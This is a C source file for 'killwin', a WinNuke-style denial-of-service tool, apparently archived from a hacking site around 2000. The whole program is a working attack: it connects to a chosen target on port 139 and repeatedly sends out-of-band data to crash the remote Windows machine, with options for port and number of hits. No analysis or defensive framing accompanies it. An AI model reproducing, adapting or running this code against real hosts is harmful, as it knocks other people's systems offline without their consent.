home *** CD-ROM | disk | FTP | other *** search
- /* killwin.c - winnuke idea, modifcation for me ONLY - napster */
-
- #include <stdio.h>
- #include <netdb.h>
- #include <string.h>
- #include <unistd.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <netinet/in.h>
-
- int x, y, sockdesc, port = 139, hits = 1;
- char *target, *str = "Later.";
-
- void parse_args(int argc, char *argv[]);
-
- void usage(char *progname)
- {
- printf("Usage: %s <target> [-p port (Default 139)] [-t hits (Default 1)]\n", progname);
- exit(-1);
- }
-
- void parse_args(int argc, char *argv[])
- {
- target = argv[1];
- if (argv[1][0] == '-')
- {
- printf("Must specify a target.\n");
- exit(-1);
- }
- for(y=2;y<argc;y++)
- {
- if (!strcmp(argv[y], "-p"))
- {
- y++;
- port = atoi(argv[y]);
- }
- if (!strcmp(argv[y], "-t"))
- {
- y++;
- hits = atoi(argv[y]);
- }
- }
- }
-
- void main(int argc, char *argv[])
- {
-
- struct sockaddr_in sin;
- struct hostent *he;
-
- if (argc < 2) usage(argv[0]);
-
- parse_args(argc, argv);
-
- sin.sin_family = AF_INET;
- sin.sin_port = htons(port);
-
- he = gethostbyname(argv[1]);
-
- if (he)
- {
- memcpy((caddr_t)&sin.sin_addr.s_addr, he->h_addr, he->h_length);
- }
- else
- {
- perror("Resolving");
- }
-
- sockdesc = socket(AF_INET, SOCK_STREAM, 0);
-
- if (sockdesc < 0)
- {
- perror("socket");
- exit(-1);
- }
-
- if (connect(sockdesc, (struct sockaddr *)&sin, sizeof(sin)) < 0)
- {
- perror("connect");
- close(sockdesc);
- exit(-1);
- }
-
- printf("Connected to [%s:%d].\n", target, port);
- printf("Sending crash %d times...\n", hits);
-
- for (x=0;x<hits;x++) send(sockdesc, str, strlen(str), MSG_OOB);
- sleep(1);
- printf("Done....\n");
- close(sockdesc);
- exit(0);
- }
- /* www.hack.co.za [2000]*/